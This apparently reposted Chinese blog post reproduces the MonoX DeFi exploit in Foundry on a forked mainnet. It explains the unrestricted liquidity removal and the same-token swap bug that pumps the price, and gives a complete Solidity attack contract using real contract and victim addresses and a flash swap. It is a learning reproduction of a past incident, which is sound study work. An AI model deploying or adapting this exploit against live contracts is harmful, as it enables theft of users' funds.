Defi安全-Monox攻击事件Foundry复现

news2024/9/25 15:22:37

其它相关内容可见个人主页

Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan

1. 前情提要和思路介绍

Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换

主要的漏洞有两个方面:

  • 可以在Monox官网查看提供代币流动性的用户地址,但是每个用户的流动性,任意的用户都可以调用移除流动性函数,进行流动性的移除。
  • 在Monoswap的代币交换函数中,并未考虑tokenIn tokenOut相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。

2. Foundry复现攻击流程

foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function deposit() external payable;
}

interface IuniswapV2pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IMonoswap {
    function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);
    function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);
    function swapExactTokenForToken(
        address tokenIn,
        address tokenOut,
        uint amountIn,
        uint amountOutMin,
        address to,
        uint deadline
    ) external returns (uint amountOut);
    function swapTokenForExactToken(
        address tokenIn,
        address tokenOut,
        uint256 amountInMax,
        uint256 amountOut,
        address to,
        uint256 deadline
    ) external returns (uint256 amountIn);
    function pools(address)
        external
        view
        returns (
            uint256 pid,
            uint256 lastPoolValue,
            address token,
            uint8 status,
            uint112 vcashDebt,
            uint112 vcashCredit,
            uint112 tokenBalance,
            uint256 price,
            uint256 createdAt
        );
}

interface IMonoXPool {
    function totalSupplyOf(uint256 pid) external returns (uint256);
    function balanceOf(address account, uint256 id) external returns (uint256);
}

address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

攻击代码

调用forge进行测试

 forge test --match-contract test_Monox -vv

结果:

image-20240107221535861

contract test_Monox is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);
    }
    //首先folk以太坊上对应区块的状态
    
    function test_Monox_exploit() public {
        IERC20(Mono).approve(address(Monoswap), type(uint256).max);
        IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();

        console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));
        IERC20(weth).approve(address(Monoswap), 0.1 ether);
		//在进行对应的代币转移的时候,一定要记得先进行approve操作
		
        IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);
        console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));
        //提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作
        
        remove_liquidity_user();
        uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));
        console.log("attacker gain liquidity: ", liquidity);
		//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备
		
        raise_mono_price();

        swap_mono_for_weth();
        //将对应高价格的mono代币置换成weth

    }

    function remove_liquidity_user() public {
        
        (uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));
        uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("pid:  ", pid);
        console.log("monoXpool's mono balance: ", balance);

        uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);

        uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);

        uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);
        IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);
		//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性
        uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);
        console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);
    }

    function raise_mono_price() public {
        for(uint i = 0 ; i < 55 ; i++){
            (uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));
            uint balance = IERC20(Mono).balanceOf(address(this));

            IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);

            console.log("Mono token Price - ",i,":  ",  price);
        }
        //按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken
    }

    function swap_mono_for_weth() public {
        
        uint weth_balance = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance);

        uint mono_balance = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance);

        IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");
        //闪电贷,借贷weth和usdc的pair对
        uint weth_balance2 = IERC20(weth).balanceOf(address(this));
        console.log("attacker weth balance: ", weth_balance2 - weth_balance);

        uint mono_balance2 = IERC20(Mono).balanceOf(address(this));
        console.log("attacker mono balance: ", mono_balance - mono_balance2);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{

        uint balance = IERC20(Mono).balanceOf(address(this));
        IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);

        bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);

        require(success);
        //在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。

    }

    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
        bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
        // a = 0xf23a6e61
        return a;
    }
    //在添加流动性的时候,会回调对应的函数,否则会报错
}

攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:

image-20240107221633674

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1364474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

秋招复习之堆

目录 前言 堆 堆的常用操作 堆的实现&#xff08;大根堆&#xff09; 1. 堆的存储与表示 2. 访问堆顶元素 3. 元素入堆 4. 堆顶元素出堆 Top-k 问题 方法一&#xff1a;遍历选择 方法二&#xff1a;排序 方法三&#xff1a;堆 总结 前言 秋招复习之堆。 堆 「堆 heap…

分布式系统——广播Broadcasts

1 广播抽象(Broadcast Abstractions)在进程中的两种方法 在分布式系统中广播抽象的概念。广播抽象允许系统中的进程使用两种基本方法进行通信&#xff1a; 1.1 Broadcast(m) 当一个进程 i 使用这个方法时&#xff0c;它会将消息 m 发送给系统中的所有其它进程。 1.2 …

数据结构实验1:栈和队列的应用

目录 一、实验目的 二、实验原理 1.1栈的基本操作 1.1.1 栈的定义 1.1.2 初始化栈 1.1.3 压栈&#xff08;Push&#xff09; 1.1.4 出栈&#xff08;Pop&#xff09; 1.1.5 判空&#xff08;isEmpty&#xff09; 1.1.6 查看栈顶元素&#xff08;Top&#xff09; 1.1…

【好书推荐】我的第一本科技漫画书:漫画区块链

王杰&#xff0c;南京理工大学物理电子学硕士&#xff0c;曾担任乐视VR技术总监&#xff0c;现为北京米唐科技有限公司CEO&#xff0c;知乎“区块链”领域知名作者&#xff0c;北京信息科技大学、北京建筑大学、北京信息职业技术学院客座教授。 郑巍&#xff0c;擅长绘制钢笔淡…

application.properties 如何改成 application.yml

Convert YAML and Properties File 右键直接转换即可 Further Reading &#xff1a; idea 常用插件

14_IO_其他流

文章目录 数据流DataOutputStream数据输出流DataInputStream数据输入流 打印流PrintStream字节打印流PrintWriter字符打印流 标准输入输出流标准输入流标准输出流 对象流(序列化与反序列化流)ObjectOutputStream序列化流ObjectInputStream反序列化流 RandomAccessFile随机访问文…

【Harmony OS - 网络请求】

在一个应用开发中&#xff0c;网络请求是必不可少的&#xff0c;我们一般用的fetch、axios来进行http请求&#xff0c;在鸿蒙中也可以通过createHppt来发生一个http请求&#xff0c;它们都是异步请求返回的Promise&#xff0c;下面我们将介绍’ohos.net.http’和axios这两种方式…

(21)Linux的文件描述符输出重定向

一、文件描述符 1、文件描述符的底层理解 在上一章中&#xff0c;我们已经把 fd 的基本原理搞清楚了&#xff0c;知道了 fd 的值为什么是 0,1,2,3,4,5... 也知道了 fd 为什么默认从 3 开始&#xff0c;而不是从 0,1,2&#xff0c;因为其在内核中属于进程和文件的对应关系。 …

Mysql SQL审核平台Yearning本地部署

文章目录 前言1. Linux 部署Yearning2. 本地访问Yearning3. Linux 安装cpolar4. 配置Yearning公网访问地址5. 公网远程访问Yearning管理界面6. 固定Yearning公网地址 前言 Yearning 简单, 高效的MYSQL 审计平台 一款MYSQL SQL语句/查询审计工具&#xff0c;为DBA与开发人员使用…

Python的基础练习题之学生管理系统

需求 使用Python基础写一个基于控制台的学生管理平台&#xff0c;里面功能分别是&#xff1a;1.录入学生信息2.查找学生信息3.删除学生信息4.修改学生信息5.排序6.统计学生总人数7.显示所有学生信息&#xff0c;要求数据存储在文件里。 代码 代码资源地址可以直接下载 效果图…

05 Ciso模拟器连接腾讯云物联网开发平台

Ciso声明&#xff1a;本篇文章基于使用腾讯云物联网平台连接自定义esp8266物联网设备(腾讯连连控制开关实现) - CSDN App改编 一、总体概览 功能描述&#xff1a; 使用腾讯连连小程序进行控制&#xff0c; Alarm&#xff08;警铃&#xff09;&#xff1a;开的时候&#xff…

【AI视野·今日Robot 机器人论文速览 第六十九期】Wed, 3 Jan 2024

AI视野今日CS.Robotics 机器人学论文速览 Wed, 3 Jan 2024 Totally 5 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers NID-SLAM: Neural Implicit Representation-based RGB-D SLAM in dynamic environments Authors Ziheng Xu, Jianwei Niu, Qingf…

实现在一个文件夹中找到特定名称特点格式的文件

当你要在一个文件夹中查找特定名称和格式的文件时&#xff0c;你可以使用 Python 的 os 和 fnmatch 模块。以下是一个简单的脚本示例&#xff0c;它可以在指定目录中查找文件&#xff1a; import os import fnmatchdef find_files(directory, pattern):"""在指…

C#使用栈方法遍历二叉树

步骤一&#xff1a;定义一个二叉树的节点类 定义一个二叉树的节点类&#xff0c;其中包含节点的值、左子节点和右子节点。 // 二叉树节点定义public class TreeNode{public int Value { get; set; } // 节点的值public TreeNode Left { get; set; } // 左子节点public TreeN…

Java Base64简单介绍

1. Base64工具 工具链接 2. Base64示例代码 public class Base64Demo {// 请注意&#xff0c;在处理二进制数据时&#xff08;例如图片或文件&#xff09;&#xff0c;不需要将字节数组转换为字符串再进行编码或解码&#xff0c;// 可以直接对字节数组进行Base64操作。上述…

Python基础知识总结3-面向对象进阶知识

面向对象三大特征介绍 继承子类扩展父类语法格式关于构造函数&#xff1a;类成员的继承和重写查看类的继承层次结构 object根类dir() 查看对象属性重写 __str__() 方法 多重继承MRO方法解析顺序super()获得父类定义多态特殊方法和运算符重载特殊属性 对象的浅拷贝和深拷贝组合_…

学习笔记——C++一维数组

1&#xff0c;一维数组的定义方式 三种定义方式 1&#xff0c;数据类型 数组名[ 数组长度 ]&#xff1b; 2&#xff0c;数据类型 数组名[ 数组长度 ]{值1&#xff0c;值2&#xff0c;值3 ……}&#xff1b;//未说明的元素用0填补 3&#xff0c;数据类型 数组名[ ]{值1&…

【数据仓库与联机分析处理】数据仓库工具Hive

目录 一、Hive简介 &#xff08;一&#xff09;什么是Hive &#xff08;二&#xff09;优缺点 &#xff08;三&#xff09;Hive架构原理 &#xff08;四&#xff09;Hive 和数据库比较 二、MySQL的安装配置 三、Hive的安装配置 1、下载安装包 2、解压并改名 3、配置环…

嵌入式培训机构四个月实训课程笔记(完整版)-Linux系统编程第三天-Linux进程练习题(物联技术666)

更多配套资料CSDN地址:点赞+关注,功德无量。更多配套资料,欢迎私信。 物联技术666_嵌入式C语言开发,嵌入式硬件,嵌入式培训笔记-CSDN博客物联技术666擅长嵌入式C语言开发,嵌入式硬件,嵌入式培训笔记,等方面的知识,物联技术666关注机器学习,arm开发,物联网,嵌入式硬件,单片机…

React 中条件渲染的 N 种方法

本文作者系360奇舞团前端开发工程师 条件渲染在React开发中非常重要的功能&#xff0c;它允许开发人员根据条件控制渲染的内容&#xff0c;在创建动态和交互式用户界面方面发挥着至关重要的作用&#xff0c;本文总结了常用的的条件渲染方法。 1.If-else if-else是一种控制流程的…